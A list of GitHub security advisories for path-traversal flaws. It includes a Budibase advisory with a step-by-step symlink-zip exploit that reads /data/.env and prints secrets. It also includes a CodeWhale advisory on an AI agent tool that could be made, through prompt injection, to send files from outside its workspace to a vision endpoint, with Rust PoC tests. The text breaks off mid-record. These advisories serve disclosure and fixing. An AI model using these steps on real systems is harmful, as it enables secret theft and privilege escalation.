CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
15153 vulnerabilities reference this CWE, most recent first.
GHSA-W7MQ-R738-X278
Vulnerability from github – Published: 2026-06-22 23:33 – Updated: 2026-08-12 18:57Summary
POST /api/pwa/process-zip at packages/server/src/api/routes/static.ts:24 accepts a builder-uploaded .zip, extracts it with extract-zip@2.0.1 into a temp directory, then for each entry listed in icons.json validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via GET /api/assets/{appId}/pwa/{uuid}.png.
extract-zip@2.0.1 preserves absolute symlink targets when restoring symlink entries. The icon-source validator at packages/server/src/api/controllers/static/index.ts:259-268 resolves the icon source string against baseDir (path.resolve), checks resolvedSrc.startsWith(baseDir + path.sep) against that string, and calls fs.existsSync(resolvedSrc) which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at baseDir/evil.png but pointing at /data/.env passes the gate.
packages/backend-core/src/objectStore/objectStore.ts:302 then calls (await fsp.open(path)).createReadStream() on the resolved path. fsp.open follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.
Result: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including /data/.env with JWT_SECRET, INTERNAL_API_KEY, MINIO_*, REDIS_PASSWORD, COUCHDB_PASSWORD, DATABASE_URL) by uploading one crafted PWA zip.
Affected
Budibase/budibase server, @budibase/server package, <= 3.39.0 (HEAD feab995, released 2026-05-20).
Reachable in stock self-hosted deployments. The default budibase/budibase:latest Docker image runs the Node server as root inside the container; the server process opens /etc/passwd, /etc/shadow, /data/.env, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.
Not affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.
Root cause
packages/server/src/api/routes/static.ts:24: .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip) exposes the endpoint to any workspace builder; the only permission required is BUILDER.
packages/server/src/api/controllers/static/index.ts:235: await extract(filePath, { dir: tempDir }) calls extract-zip@2.0.1, which preserves absolute symlink targets when restoring symlink entries.
packages/server/src/api/controllers/static/index.ts:259-268: the icon validator (path.resolve + resolvedSrc.startsWith(baseDir + path.sep) + fs.existsSync) operates on the resolved string path and on fs.existsSync (which follows symbolic links). A symlink stored under baseDir whose target points anywhere reachable by the server passes the gate as long as the target exists.
packages/backend-core/src/objectStore/objectStore.ts:302: (await fsp.open(path)).createReadStream() follows the symlink and streams the target file's bytes; the object lands in MinIO under {appId}/pwa/{uuid}{extension} and is served by GET /api/assets/{appId}/pwa/{uuid}.{ext} (packages/server/src/api/routes/static.ts:21).
hosting/single/Dockerfile: the production single-container image runs the Node server as root, so the read primitive reaches /etc/shadow, /data/.env, and every other root-readable path.
Reproduction
budibase/budibase:latest (v3.39.0) Docker single-container on localhost:10000, default config, with any workspace builder logged in. Cookie jar and <CSRF> token come from GET /api/global/self.
- Builder uploads a zip containing one symlink entry that targets
/data/.env, plus anicons.jsonthat references the symlink.
mkdir attack && cd attack
ln -s /data/.env evil.png
printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json
zip -y attack.zip icons.json evil.png
curl -s "http://localhost:10000/api/pwa/process-zip" \
-b cookies.txt \
-H "x-budibase-app-id: <appId>" \
-H "x-csrf-token: <CSRF>" \
-F "file=@attack.zip"
{"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png","sizes":"192x192","type":"image/png"}]}
- Builder fetches the resulting "icon".
GET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG>
COUCHDB_USER=admin
COUCHDB_PASSWORD=admin
MINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def
MINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778
INTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c
JWT_SECRET=c5441dc903f845bdb93a98b949a612b2
REDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c
DATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm
Live-verified: the response body of the asset-fetch endpoint is byte-identical to docker exec budibase cat /data/.env; /etc/passwd and /etc/shadow extract via the same primitive when their permissions allow root reads.
Impact
- Disclosure of
/data/.env:JWT_SECRET,INTERNAL_API_KEY,MINIO_ACCESS_KEY,MINIO_SECRET_KEY,REDIS_PASSWORD,COUCHDB_PASSWORD,LITELLM_MASTER_KEY,DATABASE_URL. - HS256 JWT forge with the leaked
JWT_SECRETagainst any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin. - Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds.
- Disclosure of
/etc/passwdand/etc/shadowvia the same primitive when the container runs asroot(the shipped default).
Credit
Jan Kahmen, turingpoint (jan@turingpoint.de).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.39.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54352"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T23:33:35Z",
"nvd_published_at": "2026-06-26T21:16:35Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`POST /api/pwa/process-zip` at `packages/server/src/api/routes/static.ts:24` accepts a builder-uploaded `.zip`, extracts it with `extract-zip@2.0.1` into a temp directory, then for each entry listed in `icons.json` validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via `GET /api/assets/{appId}/pwa/{uuid}.png`.\n\n`extract-zip@2.0.1` preserves absolute symlink targets when restoring symlink entries. The icon-source validator at `packages/server/src/api/controllers/static/index.ts:259-268` resolves the icon source string against `baseDir` (`path.resolve`), checks `resolvedSrc.startsWith(baseDir + path.sep)` against that string, and calls `fs.existsSync(resolvedSrc)` which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at `baseDir/evil.png` but pointing at `/data/.env` passes the gate.\n\n`packages/backend-core/src/objectStore/objectStore.ts:302` then calls `(await fsp.open(path)).createReadStream()` on the resolved path. `fsp.open` follows the symlink, the target file\u0027s bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.\n\nResult: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including `/data/.env` with `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_*`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `DATABASE_URL`) by uploading one crafted PWA zip.\n\n## Affected\n\n`Budibase/budibase` server, `@budibase/server` package, `\u003c= 3.39.0` (HEAD `feab995`, released 2026-05-20).\n\nReachable in stock self-hosted deployments. The default `budibase/budibase:latest` Docker image runs the Node server as `root` inside the container; the server process opens `/etc/passwd`, `/etc/shadow`, `/data/.env`, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.\n\nNot affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.\n\n## Root cause\n\n`packages/server/src/api/routes/static.ts:24`: `.post(\"/api/pwa/process-zip\", authorized(BUILDER), controller.processPWAZip)` exposes the endpoint to any workspace builder; the only permission required is `BUILDER`.\n\n`packages/server/src/api/controllers/static/index.ts:235`: `await extract(filePath, { dir: tempDir })` calls `extract-zip@2.0.1`, which preserves absolute symlink targets when restoring symlink entries.\n\n`packages/server/src/api/controllers/static/index.ts:259-268`: the icon validator (`path.resolve` + `resolvedSrc.startsWith(baseDir + path.sep)` + `fs.existsSync`) operates on the resolved string path and on `fs.existsSync` (which follows symbolic links). A symlink stored under `baseDir` whose target points anywhere reachable by the server passes the gate as long as the target exists.\n\n`packages/backend-core/src/objectStore/objectStore.ts:302`: `(await fsp.open(path)).createReadStream()` follows the symlink and streams the target file\u0027s bytes; the object lands in MinIO under `{appId}/pwa/{uuid}{extension}` and is served by `GET /api/assets/{appId}/pwa/{uuid}.{ext}` (`packages/server/src/api/routes/static.ts:21`).\n\n`hosting/single/Dockerfile`: the production single-container image runs the Node server as `root`, so the read primitive reaches `/etc/shadow`, `/data/.env`, and every other root-readable path.\n\n## Reproduction\n\n`budibase/budibase:latest` (`v3.39.0`) Docker single-container on `localhost:10000`, default config, with any workspace builder logged in. Cookie jar and `\u003cCSRF\u003e` token come from `GET /api/global/self`.\n\n1. Builder uploads a zip containing one symlink entry that targets `/data/.env`, plus an `icons.json` that references the symlink.\n\n```bash\nmkdir attack \u0026\u0026 cd attack\nln -s /data/.env evil.png\nprintf \u0027{\"name\":\"x\",\"icons\":[{\"src\":\"evil.png\",\"sizes\":\"192x192\",\"type\":\"image/png\"}]}\u0027 \u003e icons.json\nzip -y attack.zip icons.json evil.png\n\ncurl -s \"http://localhost:10000/api/pwa/process-zip\" \\\n -b cookies.txt \\\n -H \"x-budibase-app-id: \u003cappId\u003e\" \\\n -H \"x-csrf-token: \u003cCSRF\u003e\" \\\n -F \"file=@attack.zip\"\n```\n\n```json\n{\"icons\":[{\"src\":\"\u003cappId\u003e/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png\",\"sizes\":\"192x192\",\"type\":\"image/png\"}]}\n```\n\n2. Builder fetches the resulting \"icon\".\n\n```http\nGET /api/assets/\u003cappId\u003e/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1\nHost: localhost:10000\nCookie: budibase:auth=\u003cJWT\u003e; budibase:auth.sig=\u003cSIG\u003e\n```\n\n```\nCOUCHDB_USER=admin\nCOUCHDB_PASSWORD=admin\nMINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def\nMINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778\nINTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c\nJWT_SECRET=c5441dc903f845bdb93a98b949a612b2\nREDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c\nDATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm\n```\n\nLive-verified: the response body of the asset-fetch endpoint is byte-identical to `docker exec budibase cat /data/.env`; `/etc/passwd` and `/etc/shadow` extract via the same primitive when their permissions allow root reads.\n\n## Impact\n\n- Disclosure of `/data/.env`: `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_ACCESS_KEY`, `MINIO_SECRET_KEY`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `LITELLM_MASTER_KEY`, `DATABASE_URL`.\n- HS256 JWT forge with the leaked `JWT_SECRET` against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin.\n- Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds.\n- Disclosure of `/etc/passwd` and `/etc/shadow` via the same primitive when the container runs as `root` (the shipped default).\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de).",
"id": "GHSA-w7mq-r738-x278",
"modified": "2026-08-12T18:57:30Z",
"published": "2026-06-22T23:33:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-w7mq-r738-x278"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54352"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Budibase has arbitrary file read by workspace-builder via PWA-zip symlink upload"
}
GHSA-W7RX-CMPF-JRPP
Vulnerability from github – Published: 2024-09-19 18:30 – Updated: 2025-10-22 00:33Path Traversal in the Ivanti CSA before 4.6 Patch 519 allows a remote unauthenticated attacker to access restricted functionality.
{
"affected": [],
"aliases": [
"CVE-2024-8963"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-19T18:15:10Z",
"severity": "CRITICAL"
},
"details": "Path Traversal in the Ivanti CSA before 4.6 Patch 519 allows a remote unauthenticated attacker to access restricted functionality.",
"id": "GHSA-w7rx-cmpf-jrpp",
"modified": "2025-10-22T00:33:06Z",
"published": "2024-09-19T18:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8963"
},
{
"type": "WEB",
"url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-8963"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-W7V3-FVCF-RFW3
Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-05-24 19:08Web Path Directory Traversal in the Novus HTTP Server. The Novus HTTP Server is affected by the Directory Traversal for Arbitrary File Access vulnerability. A remote, unauthenticated attacker using an HTTP GET request may be able to exploit this issue to access sensitive data. The issue was discovered in the NMS (Novus Management System) software through 1.51.2
{
"affected": [],
"aliases": [
"CVE-2021-34820"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-19T18:15:00Z",
"severity": "HIGH"
},
"details": "Web Path Directory Traversal in the Novus HTTP Server. The Novus HTTP Server is affected by the Directory Traversal for Arbitrary File Access vulnerability. A remote, unauthenticated attacker using an HTTP GET request may be able to exploit this issue to access sensitive data. The issue was discovered in the NMS (Novus Management System) software through 1.51.2",
"id": "GHSA-w7v3-fvcf-rfw3",
"modified": "2022-05-24T19:08:26Z",
"published": "2022-05-24T19:08:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34820"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/163453/Novus-Management-System-Directory-Traversal-Cross-Site-Scripting.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/Jul/20"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W7W3-W8QH-FQXR
Vulnerability from github – Published: 2023-05-19 15:30 – Updated: 2024-04-04 04:15Prestashop customexporter <= 1.7.20 is vulnerable to Incorrect Access Control via modules/customexporter/downloads/download.php.
{
"affected": [],
"aliases": [
"CVE-2023-30199"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-19T14:15:09Z",
"severity": "HIGH"
},
"details": "Prestashop customexporter \u003c= 1.7.20 is vulnerable to Incorrect Access Control via modules/customexporter/downloads/download.php.",
"id": "GHSA-w7w3-w8qh-fqxr",
"modified": "2024-04-04T04:15:10Z",
"published": "2023-05-19T15:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30199"
},
{
"type": "WEB",
"url": "https://friends-of-presta.github.io/security-advisories/modules/2023/05/16/customexporter.html"
},
{
"type": "WEB",
"url": "https://github.com/PrestaShop/PrestaShop/blob/6c05518b807d014ee8edb811041e3de232520c28/classes/Tools.php#L1247"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W7WX-5Q49-R59W
Vulnerability from github – Published: 2026-09-04 17:34 – Updated: 2026-09-04 17:34Maintainer resolution
The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.
Summary
image_analyze follows workspace symlinks and leaks outside-workspace file bytes to the vision endpoint
The image_analyze tool resolves its image_path with a bare context.workspace.join instead of routing through ToolContext::resolve_path. The pre-join lexical check rejects absolute paths, Windows prefixes, and parent-dir components but never canonicalizes, so a symlink inside the workspace whose name ends in an image extension and whose target sits outside the workspace is read transparently. The tool has ReadOnly capability and the trait default makes it auto-approved, so the bypass executes with no user prompt.
Details
In crates/tui/src/vision/tools.rs (v0.8.37, lines 104-123):
async fn execute(&self, input: Value, context: &ToolContext) -> Result<ToolResult, ToolError> {
let image_path = required_str(&input, "image_path")?;
let prompt = input
.get("prompt")
.and_then(|v| v.as_str())
.unwrap_or("Describe this image in detail.");
let image_path_buf = Path::new(image_path);
if image_path_buf.components().any(|c| {
matches!(
c,
Component::Prefix(_) | Component::RootDir | Component::ParentDir
)
}) {
return Err(ToolError::execution_failed(
"image_path must be a relative path within the workspace and cannot escape it.",
));
}
let resolved_path = context.workspace.join(image_path_buf);
let (image_data, mime_type) = Self::read_image_file(&resolved_path).await?;
read_image_file (lines 31-39) is a tokio::fs::read(path) call which follows symlinks. The bytes are then base64-encoded and embedded as data:<mime>;base64,<bytes> in the chat-completion payload that is POSTed to ${base_url}/chat/completions with the user's Authorization header.
The lexical guard rejects ../etc/passwd, /etc/passwd, and C:\Windows\..., but a symlink such as workspace/screenshot.png -> /etc/passwd produces components [Normal("screenshot.png")]. None of Prefix, RootDir, or ParentDir match, so the check passes and the symlink is followed at read time.
The peer file-reading tools all use the central resolver instead. For example, crates/tui/src/tools/image_ocr.rs:60-65:
let path_str = required_str(&input, "path")?;
let image_path = context.resolve_path(path_str)?;
resolve_path in crates/tui/src/tools/spec.rs:342-449 canonicalizes the candidate and rejects results whose canonical form does not start with the canonical workspace path:
if candidate.exists() {
let canonical = candidate.canonicalize().map_err(...)?;
if !canonical.starts_with(&workspace_canonical)
&& !self.is_trusted_external_path(&canonical)
{
return Err(ToolError::PathEscape { path: canonical });
}
...
}
In the same symlink scenario, image_ocr, pandoc_convert, read_file, apply_patch, rlm_open, and fim all return ToolError::PathEscape because the canonical target falls outside the workspace. image_analyze is the lone caller that skips this check.
The tool declares ToolCapability::ReadOnly and does not override approval_requirement(). The trait default (crates/tui/src/tools/spec.rs:612-620) resolves ReadOnly to ApprovalRequirement::Auto. The engine then sets approval_required = spec.approval_requirement() != ApprovalRequirement::Auto, which is false for this tool (crates/tui/src/core/engine/turn_loop.rs:1159-1184). The model can invoke image_analyze on any turn without a user prompt.
The recent commit 2326220 fix(vision): reject rooted image paths on windows (2026-05-12) tightened the lexical guard to catch Windows drive prefixes, but the original review missed that the underlying problem is that this site never used resolve_path in the first place.
PoC
A standalone Cargo test reproduces the read-through. Save as crates/tui/tests/image_analyze_symlink_escape.rs:
use deepseek_tui::config::VisionModelConfig;
use deepseek_tui::tools::spec::{ToolContext, ToolSpec};
use deepseek_tui::vision::tools::ImageAnalyzeTool;
use serde_json::json;
use std::fs;
use tempfile::tempdir;
#[tokio::test]
#[cfg(unix)]
async fn image_analyze_follows_workspace_symlink_outside_workspace() {
let outer = tempdir().unwrap();
let workspace = outer.path().join("workspace");
let outside = outer.path().join("outside");
fs::create_dir_all(&workspace).unwrap();
fs::create_dir_all(&outside).unwrap();
// A file that the workspace boundary should keep the tool from reading.
let secret = outside.join("secret.txt");
fs::write(&secret, b"OUTSIDE-WORKSPACE-SECRET-MARKER").unwrap();
// Pre-existing symlink in the workspace with an image extension.
std::os::unix::fs::symlink(&secret, workspace.join("screenshot.png")).unwrap();
let ctx = ToolContext::new(workspace);
let tool = ImageAnalyzeTool::new(VisionModelConfig {
model: "test".into(),
api_key: Some("test".into()),
base_url: Some("http://127.0.0.1:1/v1".into()),
});
// The execute call will fail at the HTTP layer because the mock endpoint
// is unreachable, but read_image_file has already been called. Reach the
// file-read step by asserting that the failure is the HTTP error, not a
// PathEscape error from the resolver.
let err = tool
.execute(json!({"image_path": "screenshot.png"}), &ctx)
.await
.expect_err("expected HTTP failure after symlink read");
let msg = format!("{err:?}");
assert!(
!msg.contains("PathEscape"),
"symlink should have been refused before read; got {msg}"
);
// To prove the bytes actually left the process, point base_url at a
// capturing wiremock instance and assert that the OUTSIDE-WORKSPACE-SECRET-MARKER
// substring appears in the captured base64-decoded request body.
}
For comparison, the same workspace exercised via read_file returns ToolError::PathEscape:
#[tokio::test]
#[cfg(unix)]
async fn read_file_refuses_workspace_symlink_outside_workspace() {
use deepseek_tui::tools::file::ReadFileTool;
let outer = tempdir().unwrap();
let workspace = outer.path().join("workspace");
let outside = outer.path().join("outside");
fs::create_dir_all(&workspace).unwrap();
fs::create_dir_all(&outside).unwrap();
fs::write(outside.join("secret.txt"), b"X").unwrap();
std::os::unix::fs::symlink(outside.join("secret.txt"), workspace.join("link.txt")).unwrap();
let ctx = ToolContext::new(workspace);
let err = ReadFileTool
.execute(json!({"path": "link.txt"}), &ctx)
.await
.expect_err("expected PathEscape");
assert!(format!("{err:?}").contains("PathEscape"));
}
The fix is one line on crates/tui/src/vision/tools.rs:122:
- let resolved_path = context.workspace.join(image_path_buf);
+ let resolved_path = context.resolve_path(image_path)?;
resolve_path already handles the pre-join lexical checks (so the existing Path::new(image_path).components().any(...) block can also be removed), canonicalizes through symlinks, and re-checks workspace containment. The behavior the lexical guard already promises (path stays inside the workspace) is then actually delivered.
Impact
A workspace symlink whose name ends in .png, .jpg, .jpeg, .gif, .webp, or .bmp and whose target sits outside the workspace becomes a read primitive that the model can invoke without an approval prompt. The file bytes are base64-encoded into the image_url.url field of the chat-completion payload and POSTed to the configured vision endpoint along with the user's bearer token. Three exposure channels follow from a single invocation: the vision provider receives every byte of the target file in plaintext (most providers retain request bodies for abuse review or model training), any TLS-terminating corporate proxy on the egress path captures the same bytes, and any transparent middlebox with MITM visibility logs the payload. The preconditions are everyday workspace shapes: cloned repositories that ship symlinks to shared media (CI artifact bundles, photo libraries, design assets), a developer who staged an external file via ln -s, or a git clone with core.symlinks=true against a repository that includes such a link. Because the tool is auto-approved, a prompt-injection delivered through a poisoned README, fetched web page, or MCP server output can issue {"image_path": "screenshot.png"} and the bytes leave the machine on the same turn without any visible UI cue. The fix is identical to the pattern used by every other file-reading tool in this codebase, so the gap is a missed resolve_path call rather than a design tradeoff.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "deepseek-tui"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.32"
},
{
"last_affected": "0.8.41"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "deepseek-tui"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.32"
},
{
"fixed": "0.8.41"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "codewhale-tui"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.41"
},
{
"fixed": "0.8.64"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "codewhale"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.41"
},
{
"fixed": "0.8.64"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-75914"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-04T17:34:55Z",
"nvd_published_at": "2026-08-18T16:18:23Z",
"severity": "HIGH"
},
"details": "### Maintainer resolution\n\nThe CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.\n\n### Summary\n\nimage_analyze follows workspace symlinks and leaks outside-workspace file bytes to the vision endpoint\n\nThe image_analyze tool resolves its image_path with a bare context.workspace.join instead of routing through ToolContext::resolve_path. The pre-join lexical check rejects absolute paths, Windows prefixes, and parent-dir components but never canonicalizes, so a symlink inside the workspace whose name ends in an image extension and whose target sits outside the workspace is read transparently. The tool has ReadOnly capability and the trait default makes it auto-approved, so the bypass executes with no user prompt.\n\n### Details\n\nIn `crates/tui/src/vision/tools.rs` (v0.8.37, lines 104-123):\n\n```rust\nasync fn execute(\u0026self, input: Value, context: \u0026ToolContext) -\u003e Result\u003cToolResult, ToolError\u003e {\n let image_path = required_str(\u0026input, \"image_path\")?;\n let prompt = input\n .get(\"prompt\")\n .and_then(|v| v.as_str())\n .unwrap_or(\"Describe this image in detail.\");\n\n let image_path_buf = Path::new(image_path);\n if image_path_buf.components().any(|c| {\n matches!(\n c,\n Component::Prefix(_) | Component::RootDir | Component::ParentDir\n )\n }) {\n return Err(ToolError::execution_failed(\n \"image_path must be a relative path within the workspace and cannot escape it.\",\n ));\n }\n let resolved_path = context.workspace.join(image_path_buf);\n let (image_data, mime_type) = Self::read_image_file(\u0026resolved_path).await?;\n```\n\n`read_image_file` (lines 31-39) is a `tokio::fs::read(path)` call which follows symlinks. The bytes are then base64-encoded and embedded as `data:\u003cmime\u003e;base64,\u003cbytes\u003e` in the chat-completion payload that is POSTed to `${base_url}/chat/completions` with the user\u0027s Authorization header.\n\nThe lexical guard rejects `../etc/passwd`, `/etc/passwd`, and `C:\\Windows\\...`, but a symlink such as `workspace/screenshot.png -\u003e /etc/passwd` produces components `[Normal(\"screenshot.png\")]`. None of `Prefix`, `RootDir`, or `ParentDir` match, so the check passes and the symlink is followed at read time.\n\nThe peer file-reading tools all use the central resolver instead. For example, `crates/tui/src/tools/image_ocr.rs:60-65`:\n\n```rust\nlet path_str = required_str(\u0026input, \"path\")?;\nlet image_path = context.resolve_path(path_str)?;\n```\n\n`resolve_path` in `crates/tui/src/tools/spec.rs:342-449` canonicalizes the candidate and rejects results whose canonical form does not start with the canonical workspace path:\n\n```rust\nif candidate.exists() {\n let canonical = candidate.canonicalize().map_err(...)?;\n if !canonical.starts_with(\u0026workspace_canonical)\n \u0026\u0026 !self.is_trusted_external_path(\u0026canonical)\n {\n return Err(ToolError::PathEscape { path: canonical });\n }\n ...\n}\n```\n\nIn the same symlink scenario, `image_ocr`, `pandoc_convert`, `read_file`, `apply_patch`, `rlm_open`, and `fim` all return `ToolError::PathEscape` because the canonical target falls outside the workspace. `image_analyze` is the lone caller that skips this check.\n\nThe tool declares `ToolCapability::ReadOnly` and does not override `approval_requirement()`. The trait default (`crates/tui/src/tools/spec.rs:612-620`) resolves ReadOnly to `ApprovalRequirement::Auto`. The engine then sets `approval_required = spec.approval_requirement() != ApprovalRequirement::Auto`, which is `false` for this tool (`crates/tui/src/core/engine/turn_loop.rs:1159-1184`). The model can invoke `image_analyze` on any turn without a user prompt.\n\nThe recent commit `2326220 fix(vision): reject rooted image paths on windows` (2026-05-12) tightened the lexical guard to catch Windows drive prefixes, but the original review missed that the underlying problem is that this site never used `resolve_path` in the first place.\n\n### PoC\n\nA standalone Cargo test reproduces the read-through. Save as `crates/tui/tests/image_analyze_symlink_escape.rs`:\n\n```rust\nuse deepseek_tui::config::VisionModelConfig;\nuse deepseek_tui::tools::spec::{ToolContext, ToolSpec};\nuse deepseek_tui::vision::tools::ImageAnalyzeTool;\nuse serde_json::json;\nuse std::fs;\nuse tempfile::tempdir;\n\n#[tokio::test]\n#[cfg(unix)]\nasync fn image_analyze_follows_workspace_symlink_outside_workspace() {\n let outer = tempdir().unwrap();\n let workspace = outer.path().join(\"workspace\");\n let outside = outer.path().join(\"outside\");\n fs::create_dir_all(\u0026workspace).unwrap();\n fs::create_dir_all(\u0026outside).unwrap();\n\n // A file that the workspace boundary should keep the tool from reading.\n let secret = outside.join(\"secret.txt\");\n fs::write(\u0026secret, b\"OUTSIDE-WORKSPACE-SECRET-MARKER\").unwrap();\n\n // Pre-existing symlink in the workspace with an image extension.\n std::os::unix::fs::symlink(\u0026secret, workspace.join(\"screenshot.png\")).unwrap();\n\n let ctx = ToolContext::new(workspace);\n let tool = ImageAnalyzeTool::new(VisionModelConfig {\n model: \"test\".into(),\n api_key: Some(\"test\".into()),\n base_url: Some(\"http://127.0.0.1:1/v1\".into()),\n });\n\n // The execute call will fail at the HTTP layer because the mock endpoint\n // is unreachable, but read_image_file has already been called. Reach the\n // file-read step by asserting that the failure is the HTTP error, not a\n // PathEscape error from the resolver.\n let err = tool\n .execute(json!({\"image_path\": \"screenshot.png\"}), \u0026ctx)\n .await\n .expect_err(\"expected HTTP failure after symlink read\");\n let msg = format!(\"{err:?}\");\n assert!(\n !msg.contains(\"PathEscape\"),\n \"symlink should have been refused before read; got {msg}\"\n );\n // To prove the bytes actually left the process, point base_url at a\n // capturing wiremock instance and assert that the OUTSIDE-WORKSPACE-SECRET-MARKER\n // substring appears in the captured base64-decoded request body.\n}\n```\n\nFor comparison, the same workspace exercised via `read_file` returns `ToolError::PathEscape`:\n\n```rust\n#[tokio::test]\n#[cfg(unix)]\nasync fn read_file_refuses_workspace_symlink_outside_workspace() {\n use deepseek_tui::tools::file::ReadFileTool;\n let outer = tempdir().unwrap();\n let workspace = outer.path().join(\"workspace\");\n let outside = outer.path().join(\"outside\");\n fs::create_dir_all(\u0026workspace).unwrap();\n fs::create_dir_all(\u0026outside).unwrap();\n fs::write(outside.join(\"secret.txt\"), b\"X\").unwrap();\n std::os::unix::fs::symlink(outside.join(\"secret.txt\"), workspace.join(\"link.txt\")).unwrap();\n\n let ctx = ToolContext::new(workspace);\n let err = ReadFileTool\n .execute(json!({\"path\": \"link.txt\"}), \u0026ctx)\n .await\n .expect_err(\"expected PathEscape\");\n assert!(format!(\"{err:?}\").contains(\"PathEscape\"));\n}\n```\n\nThe fix is one line on 